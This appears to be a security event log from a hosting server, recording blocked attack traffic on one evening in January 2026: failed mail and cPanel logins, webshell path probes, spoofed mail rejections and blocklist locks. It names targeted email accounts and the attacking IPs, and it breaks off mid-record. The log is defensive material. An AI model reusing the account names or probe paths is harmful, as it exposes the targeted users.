2026-01-14 21:15:08 59473 [Warning] Aborted connection 59473 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.118' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 38.154.48.148
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-16.38.154.48.148||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.76.175
country_id: 1269750
description:
2026-01-14 21:17:45 dovecot_login authenticator failed for H=(213.5.130.98) [114.30.76.175]:49233: 535 Incorrect authentication data (set_id=amy.teow@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.226.96.74
country_id: 1562822
description:
2026-01-14 21:17:46 dovecot_login authenticator failed for H=(213.5.130.96) [14.226.96.74]:35248: 535 Incorrect authentication data (set_id=rachel.wong@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.56.214.176
country_id: 1814991
description:
2026-01-14 21:18:36 dovecot_login authenticator failed for H=(213.5.130.84) [121.56.214.176]:60902: 535 Incorrect authentication data (set_id=hew.chinkuen@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.118
country_id: 130758
description:
2026-01-14 21:19:15 59669 [Warning] Aborted connection 59669 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.118' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/img/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.183.102.192
country_id: 3865483
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/refrigerator.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.118
country_id: 130758
description:
2026-01-14 21:21:57 59778 [Warning] Aborted connection 59778 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.118' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.165
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/fontawesome/fonts/fontawesome-webfont.woff2?v=4.3.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.219
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/js/revolutionslider/css/settings.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.175
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/css/custom.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.185.35.62
country_id: 3469034
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/product-sub.php?id=25&sub=47 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.134
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/vendor/rs-plugin/css/navigation.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.245.24.105
country_id: 6252001
description:
2026-01-14 21:34:30 dovecot_plain authenticator failed for H=c-98-245-24-105.hsd1.co.comcast.net (inism) [98.245.24.105]:54262: 535 Incorrect authentication data (set_id=info@smartcable.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.245.24.105
country_id: 6252001
description:
Jan 14 21:34:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.245.24.105 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/m.me/img/about.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 14 21:37:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.194.39.198
country_id: 2921044
domain: www.eminent.st
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/94.0.4606.61 Safari/537.36||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.72.198.42
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/press-details.php?id=773937 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 21:39:25 H=([45.144.212.242]) [45.144.212.242]:49430 F=<no_reply@admin.com> rejected RCPT <boolan@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/img/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.225.204.239
country_id: 3469034
description:
[2026-01-14 21:46:22 +0800] info [whostmgrd] 179.225.204.239 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.135.240.126
country_id: 6252001
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/images/trophy-6.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.189.194.70
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-68.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.183.173.119
country_id: 1814991
description:
2026-01-14 21:53:35 dovecot_login authenticator failed for H=(213.5.130.153) [1.183.173.119]:53528: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.135.230.141
country_id: 2017370
description:
2026-01-14 21:53:45 dovecot_plain authenticator failed for H=([31.57.166.48]) [31.135.230.141]:4545: 535 Incorrect authentication data (set_id=info@agpc.org.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 21:55:51 H=([45.144.212.242]) [45.144.212.242]:62757 F=<no_reply@admin.com> rejected RCPT <carol@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.0.83.168
country_id: 1562822
description:
2026-01-14 21:57:22 dovecot_login authenticator failed for H=([127.0.0.1]) [117.0.83.168]:60085: 535 Incorrect authentication data (set_id=mjason@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.0.83.168
country_id: 1562822
description:
Jan 14 21:57:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.0.83.168 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.73.131.175
country_id: 783754
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/copy/15/665/1547096 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.33.26
country_id: 192950
description:
2026-01-14 22:00:18 dovecot_login authenticator failed for H=(213.5.130.153) [41.215.33.26]:44936: 535 Incorrect authentication data (set_id=hew.chinkuen@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 22:01:12 H=([45.144.212.242]) [45.144.212.242]:63269 F=<no_reply@admin.com> rejected RCPT <celine@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.81.227.235
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-02.23.81.227.235||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 14 22:04:36 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.36
country_id: 130758
description:
2026-01-14 22:06:00 61751 [Warning] Aborted connection 61751 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.36' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.179.78.247
country_id: 2017370
description:
2026-01-14 22:06:19 dovecot_login authenticator failed for H=89-179-78-247.broadband.corbina.ru [89.179.78.247]:53428: 535 Incorrect authentication data (set_id=nicholas@eminent.st)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.36
country_id: 130758
description:
2026-01-14 22:06:58 61808 [Warning] Aborted connection 61808 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.36' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.179.78.247
country_id: 2017370
description:
Jan 14 22:06:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.179.78.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-01-14 22:07:20 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:42164: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.60.130.227
country_id: 130758
description:
2026-01-14 22:07:40 H=([62.60.130.227]) [62.60.130.227]:63292 F=<mcinfo@ups.com> rejected RCPT <prayerlink@agpc.org.my>: SPF: 62.60.130.227 is not allowed to send mail from ups.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.120.176.6
country_id: 1835841
description:
Jan 14 22:07:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.120.176.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 22:10:45 H=([45.144.212.242]) [45.144.212.242]:58500 F=<no_reply@admin.com> rejected RCPT <chloe@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.64.30.151
country_id: 1643084
description:
Jan 14 22:11:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.64.30.151 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 156.239.192.0
country_id: 6252001
description:
[2026-01-14 22:11:09 +0800] info [cpaneld] 156.239.192.0 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.36
country_id: 130758
description:
2026-01-14 22:11:20 61976 [Warning] Aborted connection 61976 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.36' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.243.119
country_id: 6252001
description:
2026-01-14 22:11:52 H=([91.92.243.119]) [91.92.243.119]:61401 F=<JorgeAriel@gmail.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.126.144.30
country_id: 6252001
description:
Jan 14 22:12:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.126.144.30 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 156.239.192.0
country_id: 6252001
description:
[2026-01-14 22:11:10 +0800] info [cpaneld] 156.239.192.0 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/images/article.php||SC:/home/indfinitydesign/public_html/img/photos/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.126.144.30
country_id: 6252001
description:
2026-01-14 22:12:10 dovecot_login authenticator failed for H=ool-457e901e.dyn.optonline.net [69.126.144.30]:61494: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 22:16:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 179.49.191.91
country_id: 3469034
description:
2026-01-14 22:17:41 H=([179.49.191.91]) [179.49.191.91]:41939 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.24.238.120
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-20.82.24.238.120||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.233.3.117
country_id: 3469034
domain: www.usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.usfood.com.my/product-details.php?id=385699 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 116.71.175.215
country_id: 1168579
description:
2026-01-14 22:21:03 H=([116.71.175.215]) [116.71.175.215]:10830 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 22:21:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/keyword/images/home/video.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 179.49.191.91
country_id: 3469034
description:
2026-01-14 22:22:28 H=([179.49.191.91]) [179.49.191.91]:42264 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 116.71.190.167
country_id: 1168579
description:
2026-01-14 22:22:34 H=([116.71.175.215]) [116.71.190.167]:24789 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 116.71.190.167
country_id: 1168579
description:
2026-01-14 22:23:29 H=([116.71.175.215]) [116.71.190.167]:16669 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.82.66.240
country_id: 1522867
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=87091516783626 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 179.49.191.91
country_id: 3469034
description:
2026-01-14 22:25:01 H=([179.49.191.91]) [179.49.191.91]:42425 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.21
country_id: 2750405
description:
Jan 14 22:25:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.14
country_id: 2750405
description:
Jan 14 22:25:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.16
country_id: 2750405
description:
Jan 14 22:25:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.24
country_id: 2750405
description:
Jan 14 22:25:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.12
country_id: 2750405
description:
Jan 14 22:25:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.13
country_id: 2750405
description:
Jan 14 22:25:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 116.71.175.215
country_id: 1168579
description:
2026-01-14 22:24:11 H=([116.71.175.215]) [116.71.175.215]:10771 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.15
country_id: 2750405
description:
Jan 14 22:25:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.17
country_id: 2750405
description:
Jan 14 22:25:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.22
country_id: 2750405
description:
Jan 14 22:25:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 14 22:25:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.175.160.58
country_id: 1814991
description:
Jan 14 22:25:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.175.160.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.23
country_id: 2750405
description:
Jan 14 22:25:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.19
country_id: 2750405
description:
Jan 14 22:25:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.175.160.58
country_id: 1814991
description:
2026-01-14 22:25:09 dovecot_login authenticator failed for H=([117.175.160.58]) [117.175.160.58]:54042: 535 Incorrect authentication data (set_id=boss@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.13
country_id: 2750405
description:
Jan 14 22:25:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 14 22:25:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.24
country_id: 2750405
description:
Jan 14 22:25:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.127.68.250
country_id: 1210997
description:
Jan 14 22:26:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.127.68.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.127.68.250
country_id: 1210997
description:
2026-01-14 22:26:27 dovecot_login authenticator failed for H=(213.5.130.107) [115.127.68.250]:46392: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 179.49.191.91
country_id: 3469034
description:
2026-01-14 22:27:01 H=([179.49.191.91]) [179.49.191.91]:42564 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 121.150.241.201
country_id: 1835841
description:
2026-01-14 22:27:15 H=([121.150.241.201]) [121.150.241.201]:39944 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.184.173
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/Wise.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 121.150.241.201
country_id: 1835841
description:
2026-01-14 22:28:13 H=([121.150.241.201]) [121.150.241.201]:40444 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 121.150.241.201
country_id: 1835841
description:
2026-01-14 22:29:36 H=([121.150.241.201]) [121.150.241.201]:40698 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 22:31:05 H=([45.144.212.242]) [45.144.212.242]:56242 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 164.163.148.143
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/land/12/170/1277555 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.178.129
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/p-5.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.156.187.94
country_id: 1168579
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/Frymaster.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 195.2.78.191
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-36.195.2.78.191||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.151.85.71
country_id: 298795
description:
2026-01-14 22:36:02 H=([91.151.85.71]) [91.151.85.71]:15272 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 22:36:32 H=([45.144.212.242]) [45.144.212.242]:54523 F=<no_reply@admin.com> rejected RCPT <csjb2@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.32.197.120
country_id: 3175395
description:
2026-01-14 22:39:10 H=([94.32.197.120]) [94.32.197.120]:19376 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.151.85.71
country_id: 298795
description:
2026-01-14 22:41:35 H=([91.151.85.71]) [91.151.85.71]:15890 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.151.85.71
country_id: 298795
description:
2026-01-14 22:44:28 H=([91.151.85.71]) [91.151.85.71]:15030 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.244.5.238
country_id: 3996063
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/kitchen/8/708/890622 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.32.197.120
country_id: 3175395
description:
2026-01-14 22:44:14 H=([94.32.197.120]) [94.32.197.120]:19823 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.152.66.202
country_id: 3996063
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/Grindmaster Cecilware.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.32.197.120
country_id: 3175395
description:
